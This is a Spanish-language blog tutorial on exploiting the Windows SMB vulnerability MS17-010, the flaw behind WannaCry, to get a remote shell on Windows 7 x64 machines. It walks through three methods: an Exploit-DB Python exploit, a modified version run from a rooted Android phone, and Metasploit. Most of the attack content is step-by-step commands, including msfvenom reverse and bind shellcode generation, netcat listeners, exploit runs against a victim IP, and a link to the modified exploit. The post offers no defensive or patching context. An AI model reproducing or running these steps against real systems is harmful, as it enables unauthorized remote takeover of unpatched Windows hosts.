Explotación de vulnerabilidad MS17-010

Lo interesante de éste post es que uno de los métodos que explicaremos hace la explotación de ms17-010 completamente desde un celular obteniendo shell del windows explotado, ésta es  la vulnerabilidad que usa el ransomware wannacry



El día de hoy probaremos 3 métodos diferentes para explotar la ya conocida vulnerabilidad de SMB en Windows catalogada como MS17-010 , CVE-2017-0143 con la cual obtendremos una shell remota de un sistema Windows 7 X64 bits.(También funciona para explotar Windows 2008 y otros de 64 bits)



Los 3 métodos diferentes que usaremos son:

1 - Explotación de la vulnerabilidad usando el exploit publicado en Exploit-db
 
2-  Explotación de la vulnerabilidad usando el exploit desde el celular

3 - Explotación de la vulnerabilidad usando el exploit de Metasploit.

Los anteriores son mas sencillos de usar que el procedimiento original publicado para explotar la vulnerabilidad. (Con Fuzzbunch y las herramientas de los ShadowBrokers).


Primer método - Explotando usando el exploit de python de Exploit DB.

Hace menos de un mes cuando estalló la noticia de la vulnerabilidad y posteriormente la noticia de WannaCry, se publicó un exploit en exploit-db.com con el nombre de: Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010). Como su nombre lo dice, explota la vulnerabilidad pero esta hecho para versiones y arquitecturas especificas de Windows. En este post vamos a probar como funciona y como lo podemos usar.

Link: https://www.exploit-db.com/exploits/41987/

Analizando un poco el exploit, podemos ver en las lineas 74 a 78 el siguiente código.

74  # Shellcode TCP Bind port: 1337 size 484 bytes  
75  bindtcp_shellcode = binascii.unhexlify(b'fc4881e4f0ff.........')  
76 
77  # Shellcode TCP Reverse to 192.168.125.133 1337   
78  reversetcp_shellcode = binascii.unhexlify(b'fc4883e4f0e8.......')  

Este código nos da varios indicios. 
1) El código trae dos posibles shellcodes ( Bind Shell o Reverse Shell). uno usado para abrir un puerto en la maquina remota y luego conectarse allí, el otro hace el proceso contrario donde la victima se conecta al atacante.

2) Los shellcodes ya están pre-generados en formato hexadecimal y en el caso de la reverse shell con una ip ya establecida

3) Debemos preparar nuestros propios shellcodes para poder cambiar la ip y poder escoger a que ip queremos que se conecte la victima una vez hecha la explotación

Pero antes de esto, podemos probar con metaesploit si nuestra victima es vulnerable o no de una forma muy sencilla usando el modulo  auxiliary/scanner/smb/smb_ms17_010




Como dijimos antes, dado que los shellcodes están pre-generados, por ejemplo: En la conexión reversa, está predefinida la ip del atacante y el puerto, entonces si usamos el exploit sin hacerle modificaciones al código abriendolo con un editor de texto solo va funcionar si hacemos el ataque desde dicha ip y recibiendo la conexión en ese puerto, más abajo explicamos como modificarlo

Ip's y puertos usados en la prueba:

IP Atacante: 192.168.113.128
Puerto (TCP Reverse): 4444
IP Victima: 192.168.113.129
Puerto (TCP Bind): 4343


Reverse Shell

Primero vamos a probar Reverse shell. Para ello, abriremos Kali y generaremos nuestro shellcode con msfvenom.


msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.113.128 lport=4444 -f hex

Este comando generará un shellcode que vamos a agregar en el codigo del exploit reemplazando el shellcode original que tiene.












Copiamos los caracteres hexadecimales que nos entrega el comando ejecutado (ese es el shellcode) para luego abrir el exploit con un editor de texto, la shellcode debe ser reemplazada en la última linea de esta imagen, se reemplaza la parte que está más amarilla



Luego de esto, debemos poner nuestro Kali a escuchar con NetCat en el puerto 4444 (En nuestro caso).



nc -lvvp 4444


Luego solo tenemos que ejecutar el exploit.con python3
python3 ms17010.py 192.168.113.129


Luego de ejecutar el exploit podemos ver que en la ventana de terminal donde pusimos a la escucha netcat se recibe la shell reversa del windows atacado.












Bind Shell.

Para lograr la conexión Bind se puede usar la bind shell que viene incluida en el exploit o podemos generar otro shellcode si queremos usar otro puerto

msfvenom -p windows/x64/shell/bind_tcp LPORT=4343 -f hex

De esta manera, el Windows vulnerable, abrirá el puerto 4343 para ser accesado desde Kali. (Debemos cambiar el shellcode de la misma manera que antes).

Ejecutamos el exploit de la misma manera que hicimos antes, luego de ejecutarlo, podemos verificar que el puerto asignado se ha abierto en el Windows.



Luego solo es necesario conectarnos con netcat desde el kali atacante usando el comando:


 nc 192.168.113.129  4343




Segundo método - Ejecutando el exploit desde Android.

Link del exploit modificado para que funcione desde android
https://goo.gl/PQYu6U

El siguiente procedimiento fué probado en un celular huawei G526 rooteado con Android 4.1

Ahora imagina que puedes obtener una shell desde un celular Android?. Se oye bien, verdad?.. Por ello, aquí te mostramos como podemos hacer esto.

Para comenzar, vamos a usar el script en python que probamos a principio del post. Para ello, primero vamos a instalar dos aplicaciones. QPython3 https://play.google.com/store/apps/details?id=org.qpython.qpy3&hl=en y Terminal emulator https://play.google.com/store/apps/details?id=jackpal.androidterm&hl=en. Con el primero vamos a ejecutar el script de python y con el emulador de terminal vamos a usar netcat para recibir la shell.

Antes que nada, debemos modificar el script para se pueda ejecutar desde Android ya que al intentar ejecutarlo sin cambios va a sacar un error. 

Debemos mirar las lineas del 102 hasta la 107 donde está el siguiente código, y aqui debemos cambiar la palabra "monotonic" por "time"


El código quedará de la siguiente manera.


Ahora, Generamos la el shellcode y lo ponemos en nuestro codigo tal cual lo hicimos en los primeros pasos, y pasar el código a nuestro Android.

Ahora, con la herramientas Terminal emulator https://play.google.com/store/apps/details?id=jackpal.androidterm&hl=en que trae incluido Netcat vamos a escuchar en un puerto desde el Android.

Luego solo debemos ejecutar el script con la herramienta QPython3 https://play.google.com/store/apps/details?id=org.qpython.qpy3&hl=en y esperamos la conexión en nuestro Android.

En esta imagen vemos como se abre terminal 
 y se pone a la escucha netcat en el puerto 10000, luego de ejecutarse el exploit


 En esta ventana vemos como se ejecuta el exploit  desde el interprete qpython3

 

También se probó desde un celular moto G5 con android 7, pero en este caso el comando para ejecutar el exploit cambia, se abre terminal emulator y se debe ejecutar pasandole las rutas completas del interprete de python y la ruta completa donde se encuentra el script asi:

/data/user/0/org.qpython.qpy3/files/bin/qpython-android5.sh "/storage/emulated/0/qpython/scripts3/android_ms_17_010.py" 192.168.0.101

Luego actualizarmos el procedimiento detallado en un segundo post con video


Tercer método - Explotación usando Metasploit

La manera mas simple es usando metasploit. Aunque el exploit oficial de este framework solo funciona para Windows 7 y Windows Server 2008 x64. Aunque la vulnerabilidad como tal funciona para cualquier versión de windows no parchada.

Por ello, aqui mostramos un vídeo explicando el proceso muy rápidamente.



 
Disfruta :)








Comentarios

Entradas más populares de este blog

Obteniendo Shell en Linux por medio de Samba

Apache Struts ejecución de código remoto.